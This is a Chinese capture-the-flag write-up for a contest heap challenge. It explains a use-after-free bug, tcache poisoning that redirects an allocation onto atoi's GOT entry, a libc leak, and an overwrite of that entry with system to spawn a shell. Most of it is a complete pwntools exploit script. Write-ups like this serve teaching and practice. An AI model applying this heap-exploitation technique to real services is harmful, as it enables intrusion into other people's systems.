heap

25新生赛heap (3).png

main函数:

25新生赛heap (4).png

get_num函数:

25新生赛heap (2).png

add函数:

25新生赛heap (1).png

delete函数:

25新生赛heap (7).png

edit函数:

25新生赛heap (6).png

show函数:

25新生赛heap (5).png

got表可写,没后门函数,看delete函数有UAF漏洞,那我们的思路很清晰了,利用UAF和show函数泄露libc,然后修改got表,这里no pie,我们直接选择修改atoi的got表,这样我们就可以直接发送sh执行了

add(1,0x100) 
add(2,0x100) 
free(1) 
free(2) 
edit(2,0x100,p64(atoi_got)) 
add(3,0x100) 
add(4,0x100) 
show(4) 

我们先申请chunk1和chunk2,并free,此时tcache(后进先出)中的情况是:

tcache头部指针-->chunk2,chunk2的fd指针-->chunk1,chunk1的fd指针-->Null(链表尾部)

那此时我们edit(2)(这里0x100不是一定的,只要能覆盖fd且满足edit的函数的限制就行),我们写入的地方就是chunk2存放fd的位置,那我们把这个位置覆盖成atoi_got表,这样,tcache的链表就变成了

tcache头部指针-->chunk2,chunk2的fd指针-->atoi_got

那我们add把chunk2取出,再次add一次就是把atoi_got取出,索引为4

那此时我们show(4)就能泄露libc,edit(4)就能修改got表,就能getshell了

EXP:

from pwn import *
import sys
context(arch='amd64', os='linux')

file_name = './heap_patched' 
libc_name = './libc.so.6'

elf = ELF(file_name)
libc = ELF(libc_name)

gdb_   = 1 if ('gdb' in sys.argv)       else 0
switch = 1 if ('remote' in sys.argv)    else 0
debug  = 0 if ('deoff'  in sys.argv)    else 1

if switch:
    target = ''
    port   = 0
    p = remote(target, port)
else:
    p = process(file_name)

if debug:
    context(log_level='debug')

gdb_ = 0
if gdb_ and switch == 0:
    gdb.attach(p)
    pause()

s    = lambda data               : p.send(data)
sa   = lambda delim, data        : p.sendafter(delim, data)
sl   = lambda data               : p.sendline(data)
sla  = lambda delim, data        : p.sendlineafter(delim, data)
r    = lambda numb=4096          : p.recv(numb)
ru   = lambda delim, drop=True   : p.recvuntil(delim, drop)
rl   = lambda                    : p.recvline()
lg   = lambda name, data         : log.success(name + ': ' + hex(data))
uu64 = lambda data               : u64(data.ljust(8, b'\x00'))
search = lambda s : next(libc.search(s if isinstance(s, bytes) else s.encode()))

def init_libc(leak, offset, name='Libc'):
    if isinstance(offset, str):
        offset = libc.sym[offset]
    libc.address = leak - offset
    log.success(f"{name} Base: {hex(libc.address)}")
#################################################################################

def command(option): 
    sla(b'choice',str(option).encode())

def add(idx,Size): 
    command(1) 
    sla(b'index',str(idx).encode())
    sla(b'size',str(Size).encode())

def free(idx): 
    command(2) 
    sla(b'index',str(idx).encode())

def edit(idx,Size,Content): 
    command(3) 
    sla(b'index',str(idx).encode())
    sla(b'length',str(Size).encode()) 
    sa(b'content',Content)

def show(idx): 
    command(4) 
    sla(b'index',str(idx).encode())

atoi_got=0x601050 
add(1,0x100) 
add(2,0x100) 
free(1) 
free(2) 
edit(2,0x100,p64(atoi_got)) 
add(3,0x100) 
add(4,0x100) 
show(4) 
rl()
leak='atoi' 
leak_add = uu64(ru(b'\n'))
init_libc(leak_add,leak)
system=libc.sym['system'] 
str_bin_sh = search('/bin/sh')
edit(4,0x100,p64(system)) 
sl(b'/bin/sh\x00') 
p.interactive()

题目链接:

CTF-Writeups/25新生赛/heap at main · Zenquiem/CTF-Writeups


heap
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-CaN0HepN
作者
ZenDuk
发布于
2025年12月24日
许可协议